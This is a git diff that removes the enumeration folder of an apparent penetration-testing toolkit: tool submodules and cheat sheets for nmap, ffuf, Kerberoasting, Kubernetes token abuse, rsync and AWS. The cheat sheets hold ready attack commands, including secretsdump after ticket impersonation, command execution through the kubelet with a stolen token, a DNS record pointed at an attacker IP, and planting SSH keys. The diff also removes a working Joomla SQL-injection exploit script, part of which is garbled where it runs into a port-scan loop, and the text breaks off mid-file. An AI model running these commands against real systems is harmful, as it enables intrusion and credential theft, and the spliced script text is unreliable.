diff --git a/.gitmodules b/.gitmodules index 409e0c9..7e2353a 100644 --- a/.gitmodules +++ b/.gitmodules @@ -1,18 +1,3 @@ -[submodule "enumeration/Sublist3r"] - path = enumeration/Sublist3r - url = https://github.com/aboul3la/Sublist3r.git -[submodule "enumeration/gobuster"] - path = enumeration/gobuster - url = https://github.com/OJ/gobuster.git -[submodule "enumeration/Checklists"] - path = enumeration/Checklists - url = https://github.com/netbiosX/Checklists.git -[submodule "enumeration/kerbrute"] - path = enumeration/kerbrute - url = https://github.com/ropnop/kerbrute.git -[submodule "enumeration/windows/Windows-Exploit-Suggester"] - path = enumeration/windows/Windows-Exploit-Suggester - url = https://github.com/AonCyberLabs/Windows-Exploit-Suggester.git [submodule "PayloadsAllTheThings"] path = PayloadsAllTheThings url = https://github.com/swisskyrepo/PayloadsAllTheThings.git @@ -34,12 +19,6 @@ [submodule "enumeration/enumeration"] path = enumeration/enumeration url = https://github.com/digininja/CeWL.git -[submodule "enumeration/CeWL"] - path = enumeration/CeWL - url = https://github.com/digininja/CeWL.git -[submodule "enumeration/RustScan"] - path = enumeration/RustScan - url = https://github.com/RustScan/RustScan.git [submodule "post_exploitation/priv_esc/privesc-scripts/linux-exploit-suggester"] path = post_exploitation/priv_esc/privesc-scripts/linux-exploit-suggester url = https://github.com/mzet-/linux-exploit-suggester @@ -97,12 +76,6 @@ [submodule "exploit/windows/PrintNightmare"] path = exploit/windows/PrintNightmare url = https://github.com/ly4k/PrintNightmare.git -[submodule "enumeration/containers/deepce"] - path = enumeration/containers/deepce - url = https://github.com/stealthcopter/deepce.git -[submodule "enumeration/Typo3Scan"] - path = enumeration/Typo3Scan - url = https://github.com/whoot/Typo3Scan.git [submodule "exploit/web/php/phpggc"] path = exploit/web/php/phpggc url = https://github.com/ambionics/phpggc.git @@ -127,9 +100,6 @@ [submodule "post_exploitation/powershell"] path = post_exploitation/powershell url = https://github.com/puckiestyle/powershell.git -[submodule "enumeration/network_scanners/kotlin-port-scanner"] - path = enumeration/network_scanners/kotlin-port-scanner - url = https://github.com/Hydragyrum/kotlin-port-scanner.git [submodule "exploit/macOS/ds_store_exp"] path = exploit/macOS/ds_store_exp url = https://github.com/lijiejie/ds_store_exp.git @@ -148,9 +118,6 @@ [submodule "exploit/padding/PadBuster"] path = exploit/padding/PadBuster url = https://github.com/AonCyberLabs/PadBuster.git -[submodule "enumeration/Subrake"] - path = enumeration/Subrake - url = https://github.com/hash3liZer/Subrake.git [submodule "post_exploitation/bc_security/Empire"] path = post_exploitation/bc_security/Empire url = https://github.com/BC-SECURITY/Empire.git @@ -160,9 +127,6 @@ [submodule "misc/bruteforce/patator"] path = misc/bruteforce/patator url = https://github.com/lanjelot/patator.git -[submodule "enumeration/enum4linux"] - path = enumeration/enum4linux - url = https://github.com/CiscoCXSecurity/enum4linux.git [submodule "exploit/samba/smbmap"] path = exploit/samba/smbmap url = https://github.com/ShawnDEvans/smbmap.git diff --git a/enumeration/CeWL b/enumeration/CeWL deleted file mode 160000 index 3c0e726..0000000 --- a/enumeration/CeWL +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 3c0e726604c9dc2590a699c89aabeaa0acf9f94d diff --git a/enumeration/Checklists b/enumeration/Checklists deleted file mode 160000 index 5fc1c93..0000000 --- a/enumeration/Checklists +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 5fc1c93767878028c0f8c74de37cb9dee1659f60 diff --git a/enumeration/PSTools.zip b/enumeration/PSTools.zip deleted file mode 100644 index 67e87c7..0000000 Binary files a/enumeration/PSTools.zip and /dev/null differ diff --git a/enumeration/RustScan b/enumeration/RustScan deleted file mode 160000 index a444ab6..0000000 --- a/enumeration/RustScan +++ /dev/null @@ -1 +0,0 @@ -Subproject commit a444ab66e1d2ce17a3154b7cbe21a221bad97e30 diff --git a/enumeration/Sublist3r b/enumeration/Sublist3r deleted file mode 160000 index 729d649..0000000 --- a/enumeration/Sublist3r +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 729d649ec5370730172bf6f5314aafd68c874124 diff --git a/enumeration/Subrake b/enumeration/Subrake deleted file mode 160000 index 08b2a25..0000000 --- a/enumeration/Subrake +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 08b2a2509c934d5d9c6256c7dbe14ef26f6ddb6c diff --git a/enumeration/Typo3Scan b/enumeration/Typo3Scan deleted file mode 160000 index 9ee2b90..0000000 --- a/enumeration/Typo3Scan +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 9ee2b90114121ecd95ffc943a81aa1d01c054a2f diff --git a/enumeration/containers/deepce b/enumeration/containers/deepce deleted file mode 160000 index 0605062..0000000 --- a/enumeration/containers/deepce +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 060506279e6a0a5127da7245e9dac58c76d64fb4 diff --git a/enumeration/docs/aws.md b/enumeration/docs/aws.md deleted file mode 100644 index 7f93f56..0000000 --- a/enumeration/docs/aws.md +++ /dev/null @@ -1,84 +0,0 @@ -# AWS S3 Enumeration - -## Usage - -* [Regions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html#concepts-available-segions) - * `--region` -### Simple Storage Service (S3) -* [S3](https://aws.amazon.com/s3/) -* Methods of access control are as follows - * [Bucket policies](https://docs.aws.amazon.com/AmazonS3/latest/userguide/bucket-policies.html) - * [S3 ACL](https://docs.aws.amazon.com/AmazonS3/latest/userguide/managing-acls.html) - -* Scheme is -```sh -http://.s3.amazonaws.com/file.name -``` -or -```sh -http://s3.amazonaws.com/BUCKETNAME/FILENAME.ext -``` - -* __List content of public bucket via__ -```sh -aws s3 ls s3:/// --no-sign-request -``` -* Download via `curl`, `wget` or `s3` cli via -```sh -aws s3 cp s3:///foo_public.xml . --no-sign-request -``` - -#### ACL -* `Anyone`, just `curl` -* `AuthenticatedUsers`, `s3` cli with aws key - -## IAM -* Not necessarily used by s3 -* Access key ID, starts with `AKIA` + 20 chars -* Secret access key -* Session token, `ASIA` + sessionToken - -* Add credentials to profile via -```sh -aws configure --profile PROFILENAME -``` -* Config and credentials is stored at `~/.aws` -* Sanity test profile via -```sh -aws s3 ls --profile PROFILENAME -``` -* Find account ID to an access key -```sh -aws sts get-access-key-info --access-key-id AKIAEXAMPLE -``` -* Find username to an access key -```sh -aws sts get-caller-identity --profile PROFILENAME -``` -* Listing EC2 instances of an account -```sh -aws ec2 describe-instances --output text --profile PROFILENAME -``` -* aws ec2 describe-instances --output text --profile PROFILENAME -```sh -aws ec2 describe-instances --output text --profile PROFILENAME -``` - * In another region -```sh -aws ec2 describe-instances --output text --region us-east-1 --profile PROFILENAME -``` - -### AWS ARN -* Unique ID is create via the following scheme -```sh -arn:aws::::/ -``` - -### Secrets - -```sh -aws secretsmanager help -aws secretsmanager list-secrets -ws secretsmanager get-secret-value --secret-id --region -``` - diff --git a/enumeration/docs/cewl.md b/enumeration/docs/cewl.md deleted file mode 100644 index d4dc79b..0000000 --- a/enumeration/docs/cewl.md +++ /dev/null @@ -1,4 +0,0 @@ -# Cewl - -* Wordlist generator from website -* [CeWl repo](https://github.com/digininja/CeWL.git) diff --git a/enumeration/docs/dns.md b/enumeration/docs/dns.md deleted file mode 100644 index 0ed7fde..0000000 --- a/enumeration/docs/dns.md +++ /dev/null @@ -1,25 +0,0 @@ -# DNS - -## Subdomain Enumeration - -* Get all the info via -```sh -dig @$TARGET_DNS $DOMAIN axfr -drill @$TARGET_DNS $DOMAIN axfr -``` - -* [subrake](https://github.com/hash3liZer/Subrake.git) - - -## Join a Domain - -* Join a windows domain by setting the A record to the attacker's IP, needs cert and Pk -```sh -nsupdate -server -update delete -update add 1234 A $ATTACKER_IP -send -quit -``` -* Check domain by querying the subdomain's A record via dig/drill/nslookup diff --git a/enumeration/docs/docker_enumeration.md b/enumeration/docs/docker_enumeration.md deleted file mode 100644 index 20ef3bd..0000000 --- a/enumeration/docs/docker_enumeration.md +++ /dev/null @@ -1,21 +0,0 @@ -# Docker Enumeration - -## Save Images - -* Save image and extract it -```sh -docker save -o image.tar -tar -xf image.tar -``` -* Run a container from the image and `printenv` - -### Manifest -* Read the manifest inside the image extracted -```sh -jq . manifest.json -``` -* Read the config JSON file mentioned in the manifest -* Inside this config file there are the shell commands used at building the image -* Snoop around after interesting files, especially inside the root dir in `layer.tar` - - diff --git a/enumeration/docs/ffuf.md b/enumeration/docs/ffuf.md deleted file mode 100644 index 11e5e72..0000000 --- a/enumeration/docs/ffuf.md +++ /dev/null @@ -1,53 +0,0 @@ -# Fuzz Faster U Fool - -## Usage -```sh -ffuf -u http:///FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt -``` -* Fuzz dirs -```sh -ffuf -u http:///FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -``` -* Fuzz files -```sh -ffuf -u http:///FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -e .php,.txt -``` - -### Fuzz parameters -```sh -ffuf -u 'http://MACHINE_IP/sqli-labs/Less-1/?FUZZ=1' -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fw 39 -ffuf -u 'http://MACHINE_IP/sqli-labs/Less-1/?FUZZ=1' -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -fw 39 -``` -* Fuzz values -```sh -seq 0 255 | fuff -u 'http:///sqli-labs/Less-1/?id=FUZZ -c -w - -fw 33 -``` -* Fuzz Post Methods -```sh -ffuf -u http:///sqli-labs/Less-11/ -c -w /usr/share/seclists/Passwords/Leaked-Databases/hak5.txt -X POST -d 'uname=Dummy&passwd=FUZZ&submit=Submit' -fs 1435 -H 'Content-Type: application/x-www-form-urlencoded' -``` -### Fuzz Users and use Bruteforce -* Fuzz users and write file -```sh -ffuf -w /usr/share/seclists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http:///customers/signup -mr "username already exists" -o fuff.out -``` -* Use users saved in `fuff.out` to bruteforce -```sh -ffuf -w userlist.txt:W1,/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http:///customers/login -fc 200 -``` -### Fuzz Subdomains -```sh -ffuf -u http://FUZZ.test.com -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -``` -or if the subdomains are listed in the target's host file -```sh -ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.test.com" -u http:// -fs 0 -``` -* Fuzz Vhosts & Server Blocks -```sh -ffuf -u http://FUZZ.test.com -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 0 -ffuf -u http://test.com -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.test.com' -fs 0 -``` - -### Proxy -* `-replay-proxy ` or `-x ` diff --git a/enumeration/docs/gobuster.md b/enumeration/docs/gobuster.md deleted file mode 100644 index 23631ac..0000000 --- a/enumeration/docs/gobuster.md +++ /dev/null @@ -1,48 +0,0 @@ -# Gobuster - -[Repo](https://github.com/OJ/gobuster.git) - -### Directories -```sh -gobuster dir -u -w -``` - -### DNS -```sh -gobuster dns -d -w --show-cname --show-ips --resolver -``` - -### Vhosts -* Find other Domains on a host via `seclists/Discovery/DNS/subdomains-top1million-5000.txt` -```sh -gobuster vhost -u -w -``` - - -### FileExtension -```sh --x -``` -* Fuzz for files and file extensions -```sh -gobuster dir -u -w /usr/share/seclists/Discovery/raft-small-word-lowercase.txt -x .conf,.js -``` - -### Basic Auth -```sh -gobuster help dir -``` -* `--username` and `--password` - -* `dir -s` Accept HTTP Status -* `dir -k` Skip TLS Auth -* `dir -a` User Agent - -### Wordlists -```sh -/usr/share/seclists/Discovery/Web-Content/common.txt -/usr/share/seclists/Discovery/Web-Content/big.txt -/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -/usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -``` diff --git a/enumeration/docs/kerberoast.md b/enumeration/docs/kerberoast.md deleted file mode 100644 index 463a9cb..0000000 --- a/enumeration/docs/kerberoast.md +++ /dev/null @@ -1,55 +0,0 @@ -# Kerberoast - -## Usage - -### List users - -```sh -kerbrute userenum -d $DOMAIN --dc $TARGET_IP $USER_LIST -``` - -### Get Users -* Impacket's `GetNPUsers.py` to get Hashes of userlist -```sh -GetNPUsers.py -no-pass / -usersfile users.txt -format john -outputfile hashes -``` - -### Find SPNs - -```sh -GetUserSPNs.py -request /: -dc-ip $TARGET_IP -``` -or -```sh -pyverview get-netuser -u -p -t -d -``` - -### Further Intel - -```sh -findDelegation.py -debug /: -dc-ip $TARGET_IP -``` - -### Check Found Users -* Use crackmapexec to check access to further user accounts with the password of the user found with `GetNPUsers.py` -```sh -crackmapexec smb $TARGET_IP -u users.txt -p pass.txt -``` - * Watch out for `STATUS_PASSWORD_MUST_CHANGE` - * Change password with -```sh -smbpasswd.py @$TARGET_IP -newpass password123 -``` - -### Impersonate - -```sh -getST.py -spn / -impersonate Administrator '/:' -dc-ip $TARGET_IP -``` -* Serviceticket is save as `Administrator.ccache` -* `export KRB5CCNAME=Administrator.ccache` -* After that dump secrets -```sh -secretsdump.py -k -no-pass -``` - diff --git a/enumeration/docs/kubectl.md b/enumeration/docs/kubectl.md deleted file mode 100644 index 6510779..0000000 --- a/enumeration/docs/kubectl.md +++ /dev/null @@ -1,81 +0,0 @@ -# Kubectl - -* Get pods, `-A` for all namespaces -```sh -kubectl get pods -A -``` -* Check mounted secret -```sh -kubectl auth can-i --list -kubectl get secrets -kubectl get nodes -kubectl get deployments -kubectl get services -kubectl get ingress -kubectl get jobs -``` -* Intel about a secret, and output -```sh -kubectl describe secrets -kubectl get secret -o json -kubectl describe secrets -o 'json' -``` -## Abuse Token -* Inside a pod the service token(jwt) can be found under `/var/run/secrets/kubernetes.io/serviceaccount/token` -* By change of an LFI extract the token and -```sh -kubectl auth can-i --list --token=$TOKEN -kubectl get pods --token=$TOKEN -kubectl exec -it --token=$TOKEN -- /bin/sh -``` - -* __Do not copy the token around, it will end in a carfuffle of some truncated string most of the time. Just do it in the following way and spare the pain for another day__ -``` -TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) -``` - -### Elevate Permissions with found token - -* If a token has been found but its permissions on other containers can not be used through kubectl directly, use curl -```sh -curl -k -H "Authorization: Bearer $TOKEN" --data "cmd=id" https://$K8_IP:10250/run/$NAMESPACE/$POD/$CONTAINER -``` - * Find namespace and pods -```sh -kubectl get pods -A -``` - * Find name of container inside the pod description under `ContainerStatuses/name` -```sh -kubectl get pod $POD -n $NAMESPACE -o yaml -``` - -* Interesting find in any high priv container are -```sh -/run/secrets/kubernetes.io/serviceaccount/token -/run/secrets/kubernetes.io/serviceaccount/ca.crt -``` - -* Enumerate again with the new found token -```sh -kubectl auth can-i --list -``` - -## Create Pods - -* Use [BishopFox's BadPods](https://github.com/BishopFox/badPods.git) -* If there is no internet connection add `imagePullPolicy: IfNotPresent` to the YAML file -```sh -kubectl apply -f pod.yml --token=$TOKEN -``` -* Start Pod -```sh -kubectl exec -it everything-allowed-exec-pod --token=$TOKEN -- /bin/bash -``` - -## Start Pods - -```sh -kubectl exec -it -n -- /bin/bash -``` - - diff --git a/enumeration/docs/ldap.md b/enumeration/docs/ldap.md deleted file mode 100644 index f9e7fd8..0000000 --- a/enumeration/docs/ldap.md +++ /dev/null @@ -1,23 +0,0 @@ -# LDAP - -## Get Domain - -```sh -ldapsearch -H ldap://$TARGET_IP -x -s base namingcontexts -``` -* Use found namingcontexts DC -```sh -ldapsearch -H ldap://$TARGET_IP -x -b 'DC=,DC= -``` -* Authenticated LDAP Search -```sh -ldapsearch -H ldap://$TARGET_IP -x -b 'DC=,DC=' -D '\' -W > outfile -``` - -## Domain Dump - -* If a set of credentials are known via -```sh -ldapdomaindump $TARGET_IP -u '\' -p '' --no-json --no-grep -``` -* Take a look at the genreated HTML files diff --git a/enumeration/docs/linux_basics.md b/enumeration/docs/linux_basics.md deleted file mode 100644 index 64d29cb..0000000 --- a/enumeration/docs/linux_basics.md +++ /dev/null @@ -1,37 +0,0 @@ -# Linux Basic Enumeration -```sh -less ~/.bash_history -``` -```sh -cat /etc/*-release -cat /proc/version -uname -a -``` -```sh -sudo -V -sudo -L -``` -* Check if is writeable -```sh -vim /etc/passwd -vim /etc/hosts -``` -```sh -crontab -l -``` - -* Find interesting files -```sh -find / -perm /6000 2>/dev/null -find / -perm -u=s -type f 2>/dev/null -find / -type f -name "*.log" 2>/dev/null -find / -type f -name "*.bak" 2>/dev/null -find / -type f -name "*.conf" 2>/dev/null -``` - -* Open Sockets -```sh -lsof -i -netstat -natup -ss -natup -``` diff --git a/enumeration/docs/microk8s.md b/enumeration/docs/microk8s.md deleted file mode 100644 index 3d634c7..0000000 --- a/enumeration/docs/microk8s.md +++ /dev/null @@ -1,13 +0,0 @@ -# Microk8s - -* [microk8s repo](https://github.com/ubuntu/microk8s) - -## Enumeration - -```sh -microk8s kubectl get nodes -microk8s kubectl get services -microk8s kubectl get pods -microk8s kubectl get deployments -o wide -microk8s kubectl cluster-info -``` diff --git a/enumeration/docs/nfs.md b/enumeration/docs/nfs.md deleted file mode 100644 index 6efc7c9..0000000 --- a/enumeration/docs/nfs.md +++ /dev/null @@ -1,4 +0,0 @@ -# NFS Enumeration - -* `rpcinfo -p $TARGET_IP` -* `showmount -e $TARGET_IP` diff --git a/enumeration/docs/nikto.md b/enumeration/docs/nikto.md deleted file mode 100644 index 862aff8..0000000 --- a/enumeration/docs/nikto.md +++ /dev/null @@ -1,32 +0,0 @@ -# Nikto -Scan web server vulnerabilities and more. - -## mmap Input -* Pipe or pre run nmap -```sh -nmap -p80 172.16.0.0/24 -oG - | nikto -h - -``` -```sh -nmap -oG -Pn -p-10000 10.10.214.141 | nikto -h 10.10.214.141 -p - -``` - -# Usage - -* Example -``` -nikto -h http://example.com i -p 80,8080 -``` -```sh -nikto -id : -h http://example.com:1234/manager/html -``` -## Plugins -```sh -nikto -h http://example.com -Plugins apacheusers -``` - -* List all plugins -```sh -nikto -list-plugins -``` - - diff --git a/enumeration/docs/nmap.md b/enumeration/docs/nmap.md deleted file mode 100644 index 9788cdf..0000000 --- a/enumeration/docs/nmap.md +++ /dev/null @@ -1,127 +0,0 @@ -# nmap - -## Scan Types -* ARP -* ICMP -* TCP -* UDP - -## Port States -1. Open -2. Closed -3. Filtered -4. Unfiltered -5. Open|Filtered -6. Close|Filtered - -## Usage - -```sh -nmap -oA nmap-full -Pn -sS -T4 -p- --defeat-rst-ratelimit -``` -```sh -nmap -oA nmap-vuln -Pn -script vuln -p -``` - -### combo with searchsploit -* nmap-full scan -```sh -sudo nmap -oA --nmap-full -sS -sC -sV -p- --defeat-rst-ratelimit -searchsploit --nmap ./nmap-full.xml --verbose -``` -### Wordpress Enumeration -```sh -nmap --script http-wordpress-enum --scripts-args check-latest=true,search-limit=1500 -p 80 test.com -``` - -### Use List of Hosts -```sh -nmap -iL -``` -* Show hosts, dns resolution included -```sh -nmap -sL -n 10.10.0.0/16 -``` - -### ARP Scan Local Network -```sh -nmap -PR -sn 192.168.0.0/24 -``` -### ICMP Scans -* __Type 8__ (Ping Request) -```sh -nmap -PE -sn 10.10.0.0/16 -``` -* __Type 13__ (Timestamp Request) -```sh -nmap -PP -sn 10.10.0.0/16 -``` -* __Type 17__ (Address Mask Queries) -```sh -nmap -PM -sn 10.10.0.0/16 -``` - -### TCP Scans -* `-PS23` Syn on port 23 -* `-PA80-8080` ACK on port range 80-8080 - -#### TCP Scan Types -* __Null Scan__ `-sN`, port is open when there is no response. Otherwise the response is `RST/ACK` -* __FIN Scan__ `-sF` , same procedure as null scan. -* __Xmas Scan__ `-sX`, `FIN/PSH/URG` is sent. `RST/ACK` when port is closed. -* __Maimon Scan__ `-sM`, sends `FIN/ACK`. Packet is dropped when port is open. Only viable on old BSD networks. -* __ACK Scan__ `-sA`, sends `ACK`. Receives `RST` regardless of the state of the port. May be used to explore firewall rules. -* __Window Scan__ `-sW`, sends `ACK`, and receives `RST` as well. Inspects the window part of the response. Used to expose firewall rules. -* __Custom Scan__ `--scanflags RSTACKFIN`, set flags randomly. - -### UDP SCans -* `-PU` -* May be answered by ICMP Type 3 if the port is not reachable - -### DNS Scan -* No lookup `-n` -* Reverse lookup for every host `-R` -* Host discovery only `-sn` - -### Spoofing -* IP `-S ` -* MAC `--spoof-mac ` -* Disable ping scan `-Pn` -* Decoy addresses `-D ,,,RND,RND,ME` - -### Service Detection -* `-sV` -* `--version-intensity ` -* Intensity 2 `--version-light` -* Intensity 9 `--version-all` - -## Scripts -Installed at `/usr/share/nmap/scripts` -* __auth__ Authentication related scripts -* __broadcast__ Discover hosts by sending broadcast messages -* __brute__ Performs brute-force password auditing against logins -* __default__ Default scripts, same as -sC -* __discovery__ Retrieve accessible information, such as database tables and DNS names -* __dos Detects__ servers vulnerable to Denial of Service (DoS) -* __exploit__ Attempts to exploit various vulnerable services -* __external__ Checks using a third-party service, such as Geoplugin and Virustotal -* __fuzzer__ Launch fuzzing attacks -* __intrusive__ Intrusive scripts such as brute-force attacks and exploitation -* __malware__ Scans for backdoors -* __safe__ Safe scripts that won’t crash the target -* __version__ Retrieve service versions -* __vuln__ Checks for vulnerabilities or exploit vulnerable services - -## Tips & Tricks -* Scan the 100 most interesting ports via `-F` -* `--top-ports 100` -* One probe every 5 minutes via `-T0` -* A closed port responds with `RST/ACK` to a initial `SYN` -* Scan ports iteratively by using `-r`, not random -* Closed Port -* Control packet rate via `--min-rate` and `--max-rate` -* Control parallel probes via `--min-parallelism` and `--max-parallelism` -* Fragment packets `-f` 8 bytes, `-ff` 16 bytes or `--mtu` -* Zombie Scan `-sI ` via pwnd host inside the targets network -* `--reason`, `-d`, `-vv` -* `--traceroute` diff --git a/enumeration/docs/port_knocking.md b/enumeration/docs/port_knocking.md deleted file mode 100644 index e24cf54..0000000 --- a/enumeration/docs/port_knocking.md +++ /dev/null @@ -1,13 +0,0 @@ -# Port Knocking - -* Open filtered port behind a firewall by knocking nicely - -## Usage - -* `knockd` -```sh -knock -``` -or -* [arch wiki nmap script](https://wiki.archlinux.org/title/Port_knocking) -* `nc -z` diff --git a/enumeration/docs/rpcclient.md b/enumeration/docs/rpcclient.md deleted file mode 100644 index c3a0307..0000000 --- a/enumeration/docs/rpcclient.md +++ /dev/null @@ -1,11 +0,0 @@ -# rpcclient - -```sh -rpcclient -U% $TARGET_IP -``` -* Input commands, attributes count for the current user on the machine -```sh -enumdomusers -enumdomains -enumprivs -``` diff --git a/enumeration/docs/rsync.md b/enumeration/docs/rsync.md deleted file mode 100644 index f7fd55a..0000000 --- a/enumeration/docs/rsync.md +++ /dev/null @@ -1,39 +0,0 @@ -# rsync - -* [netspi article]( https://www.netspi.com/blog/technical/network-penetration-testing/linux-hacking-case-studies-part-1-rsync/) -* [hacktricks' rsync](https://book.hacktricks.xyz/pentesting/873-pentesting-rsync) - -## Enumerate - -```sh -rsync :: -rsync ::files -rsync ::files/foo/ -``` -### via netcat -* Another way is the following -```sh -nc -vn $TARGET_IP 873 -``` -* Repeat the identical handshake, e.g. -``` -@RSYNCD: 31.0 -``` -* List all directories -```sh -#list -``` - -## Downloads - -```sh -rsync @::/files/foo/bar.txt . -rsync -r @::/files/foo . -``` - -## Uploads - -```sh -rsync authorized_keys @::/files/foo/.ssh/ -rsync -r documents @::/files/foo/ -``` diff --git a/enumeration/docs/rustscan.md b/enumeration/docs/rustscan.md deleted file mode 100644 index dde658b..0000000 --- a/enumeration/docs/rustscan.md +++ /dev/null @@ -1,14 +0,0 @@ -# Rustscan - -* [Rustscan repo](https://github.com/RustScan/RustScan) - -* Config at `$HOME/.rustscan_scripts.toml` - -## Usage -```sh -rustscan -r ports -a -- -``` -* Using nmap parameters -```sh -rustscan -a 127.0.0.1 -- -A -sC -``` diff --git a/enumeration/docs/shodan.md b/enumeration/docs/shodan.md deleted file mode 100644 index 22e3dfb..0000000 --- a/enumeration/docs/shodan.md +++ /dev/null @@ -1,31 +0,0 @@ -# Shodan - -## Checking found Autonomous System Number (ASN) -* Shodan does output ASN, not necessarily the IP of a small company. Search for -```h -asn:AS13335 -``` -* [ASN Check](https://dnschecker.org/asn-whois-lookup.php) - -## Banner -* Example -```json -{ - "data": "Moxa Nport Device", - "Status": "Authentication disabled", - "Name": "NP5232I_4728", - "MAC": "00:90:e8:47:10:2d", - "ip_str": "46.252.132.235", - "port": 4800, - "org": "Starhub Mobile", - "location": { - "country_code": "SG" - } - } -``` - -## Filter -* vulns -```sh -vuln:ms17-010 -``` diff --git a/enumeration/docs/snmp/onesixtyone.md b/enumeration/docs/snmp/onesixtyone.md deleted file mode 100644 index e6782fe..0000000 --- a/enumeration/docs/snmp/onesixtyone.md +++ /dev/null @@ -1,11 +0,0 @@ -# SNMP Enumeration - -* Find community strings -```sh -onesixtyone $TARGET_IP -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt -``` -* Query users -``` -snmpwalk -v2c -c $TARGET_IP 1.3.6.1.4.1.77.1.2.25 -``` - diff --git a/enumeration/docs/snmp/snmpcheck.md b/enumeration/docs/snmp/snmpcheck.md deleted file mode 100644 index bbba3ca..0000000 --- a/enumeration/docs/snmp/snmpcheck.md +++ /dev/null @@ -1,15 +0,0 @@ -# snmpcheck - -* [git repo](https://gitlab.com/kalilinux/packages/snmpcheck.git) -* Ruby script, clone and -```sh -cd snmpcheck -gem install snmp -chmod 775 snmpcheck-.rb -``` - -## Usage - -```sh -./snmpcheck-.rb $TARGET_IP -c -``` diff --git a/enumeration/docs/websites.md b/enumeration/docs/websites.md deleted file mode 100644 index 0e70131..0000000 --- a/enumeration/docs/websites.md +++ /dev/null @@ -1,12 +0,0 @@ -# Website Enumeration - -* `robots.txt` -* [Favicon](https://wiki.owasp.org/index.php/OWASP_favicon_database), `curl` target and `md5sum` -* `sitemap.xml` -* Headers, `curl ` including `-I` or `-v` parameters -* Check Components of the website, like blog frameworks, shops. -* User Wappalyzer -* Snapshots of the site via waybackmachine -* Check repos of the site -* Check buckets -* Fuzz diff --git a/enumeration/docs/wfuzz.md b/enumeration/docs/wfuzz.md deleted file mode 100644 index e60f9c3..0000000 --- a/enumeration/docs/wfuzz.md +++ /dev/null @@ -1,6 +0,0 @@ -# Wfuzz - -* Fuzz parameters -```sh -wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/common.txt -X POST --hh 45 -u http:///api/items\?FUZZ\=test -``` diff --git a/enumeration/docs/wpscan.md b/enumeration/docs/wpscan.md deleted file mode 100644 index 16ebfd0..0000000 --- a/enumeration/docs/wpscan.md +++ /dev/null @@ -1,35 +0,0 @@ -# WPScan - -## Themes -```sh -wpscan --url --enumerate t -``` - -* `ls` for content - -## Plugins -```sh -wpscan --url --enumerate p -``` - -## Users -```sh -wpscan --url --enumerate u -``` - -## Vulnerabilities -* WPVulnDB API is needed -* Plugins -```sh -wpscan --url --enumerate vp -``` - -## Password attack -```sh -wpscan --url --passwords --usernames -``` - -## WAF Aggressiveness -```sh -wpscan --url --enumerate p --plugins-detection - diff --git a/enumeration/enum4linux b/enumeration/enum4linux deleted file mode 160000 index 072168b..0000000 --- a/enumeration/enum4linux +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 072168b27fbb991c8a009663bbe54b46a8b5dc15 diff --git a/enumeration/gobuster b/enumeration/gobuster deleted file mode 160000 index f7bc132..0000000 --- a/enumeration/gobuster +++ /dev/null @@ -1 +0,0 @@ -Subproject commit f7bc13252b4da5d13b2e9d93295da28a1f612125 diff --git a/enumeration/joomblah.py b/enumeration/joomblah.py deleted file mode 100755 index b6793e6..0000000 --- a/enumeration/joomblah.py +++ /dev/null @@ -1,186 +0,0 @@ -#!/usr/bin/python3 -import requests -import sys -import re -import argparse -import os -import random -import time -import binascii - - -def extract_token(resp): - match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S) - if match is None: - print(" [!] Cannot find CSRF token") - return None - return match.group(1) - - -def parse_options(): - parser = argparse.ArgumentParser(description='Jooma Exploit') - parser.add_argument('url', help='Base URL for Joomla site') - return parser.parse_args() - - -def build_sqli(colname, morequery): - return "(SELECT " + colname + " " + morequery + ")" - -def joomla_370_sqli_extract(options, sess, token, colname, morequery): - sqli = build_sqli("LENGTH("+colname+")", morequery) - length = joomla_370_sqli(options, sess, token, sqli) - if not length: - return None - length = int(length) - maxbytes = 30 - offset = 0 - result = '' - while length > offset: - sqli = build_sqli("HEX(MID(%s,%d,%d))" % (colname, offset + 1, 16), morequery) - value = joomla_370_sqli(options, sess, token, sqli) - if not value: - print(" [!] Failed to retrieve string for query:", sqli) - return None - value = binascii.unhexlify(value) - result += value - offset += len(value) - return result - - -def joomla_370_sqli(options, sess, token, sqli): - sqli_full = "UpdateXML(2, concat(0x3a," + sqli + ", 0x3a), 1)" - data = { - 'option': 'com_fields', - 'view': 'fields', - 'layout': 'modal', - 'list[fullordering]': sqli_full, - token: '1', - } - resp = sess.get(options.url + "/index.php?option=com_fields&view=fields&layout=modal", params=data, allow_redirects=False) - match = re.search(r'XPATH syntax error:\s*'([^$\n]+)\s*'\s* /dev/tcp/$1/$port && echo $port is open || /dev/null" -done diff --git a/enumeration/network_scanners/subdomain_enum.py b/enumeration/network_scanners/subdomain_enum.py deleted file mode 100755 index e42c11a..0000000 --- a/enumeration/network_scanners/subdomain_enum.py +++ /dev/null @@ -1,22 +0,0 @@ -#!/usr/bin/env python - -import requests -import sys - -subdomains = [] - -with open 